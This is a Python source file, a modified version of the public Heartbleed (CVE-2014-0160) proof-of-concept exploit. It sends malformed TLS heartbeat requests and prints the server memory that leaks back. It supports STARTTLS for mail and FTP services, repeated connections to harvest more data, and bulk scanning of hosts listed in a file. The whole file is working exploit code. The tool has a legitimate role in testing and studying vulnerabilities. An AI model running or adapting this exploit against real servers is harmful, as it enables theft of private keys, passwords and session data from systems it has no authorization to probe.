#!/usr/bin/python # Modified by Travis Lee # -changed output to display text only instead of hexdump and made it easier to read # -added option to specify number of times to connect to server (to get more data) # -added option to specify TLS version # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc... # -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port) # -added option to have verbose output # -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected]) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)') options.add_option('-t', '--tls', type='int', default=1, help='Specify TLS version: 0 = 1.0, 1 = 1.1, 2 = 1.2 (default: 1)') options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...') options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port') options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output') opts, args = options.parse_args() def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') # set TLS version if opts.tls == 0: hb = h2bin('''18 03 01 00 03 01 40 00''') elif opts.tls == 1: hb = h2bin('''18 03 02 00 03 01 40 00''') elif opts.tls == 2: hb = h2bin('''18 03 03 00 03 01 40 00''') else: hb = h2bin('''18 03 02 00 03 01 40 00''') def hexdump(s): pdat = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] #hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin) #print ' %04x: %-48s %s' % (b, hxdat, pdat) pdat = re.sub(r'([.]{50,})', '', pdat) return pdat def recvall(s, length, timeout=5): try: endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata except: print "Error receiving data: ", sys.exc_info()[0] def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None if opts.verbose: print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s, targ): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return '' if typ == 24: if opts.verbose: print 'Received heartbeat response...' #hexdump(pay) if len(pay) > 3: print 'WARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return hexdump(pay) if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return '' def bleed(targ, port): try: res = '' print print '##################################################################' print 'Connecting to: ' + targ + ':' + str(port) + ' with TLSv1.' + str(opts.tls) for x in range(0, opts.num): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.stdout.flush() s.settimeout(10) s.connect((targ, port)) # send starttls command if specified as an option or if common smtp/pop3/imap ports are used if (opts.starttls) or (port in {25, 587, 110, 143, 21}): stls = False atls = False # check if smtp supports starttls/stls if port in {25, 587}: print 'SMTP Port... Checking for STARTTLS Capability...' check = s.recv(1024) s.send("EHLO someone.org\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "STLS" in check: opts.starttls = True stls = True print "STLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # check if pop3/imap supports starttls/stls elif port in {110, 143}: print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...' check = s.recv(1024) if port == 110: s.send("CAPA\n") if port == 143: s.send("CAPABILITY\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "STLS" in check: opts.starttls = True stls = True print "STLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # check if ftp supports auth tls/starttls elif port in {21}: print 'FTP Port... Checking for AUTH TLS Capability...' check = s.recv(1024) s.send("FEAT\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "AUTH TLS" in check: opts.starttls = True atls = True print "AUTH TLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # send appropriate tls command if supported if opts.starttls: sys.stdout.flush() if stls: print 'Sending STLS Command...' s.send("STLS\n") elif atls: print 'Sending AUTH TLS Command...' s.send("AUTH TLS\n") else: print 'Sending STARTTLS Command...' s.send("STARTTLS\n") if opts.verbose: print 'Waiting for reply...' sys.stdout.flush() recvall(s, 100000, 1) print print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) if opts.verbose: print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' print '##################################################################' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) res += hit_hb(s, targ) s.close() print '##################################################################' print return res except: print "Error connecting to host: ", sys.exc_info()[0] print '##################################################################' print def main(): allresults = '' # if a file is specified, loop through file if opts.filein: fileIN = open(opts.filein, "r") for line in fileIN: targetinfo = line.strip().split(":") if len(targetinfo) > 1: allresults = bleed(targetinfo[0], int(targetinfo[1])) else: allresults = bleed(targetinfo[0], opts.port) if allresults: print '%s' % (allresults) fileIN.close() else: if len(args) < 1: options.print_help() return allresults = bleed(args[0], opts.port) if allresults: print '%s' % (allresults) print if __name__ == '__main__': main()

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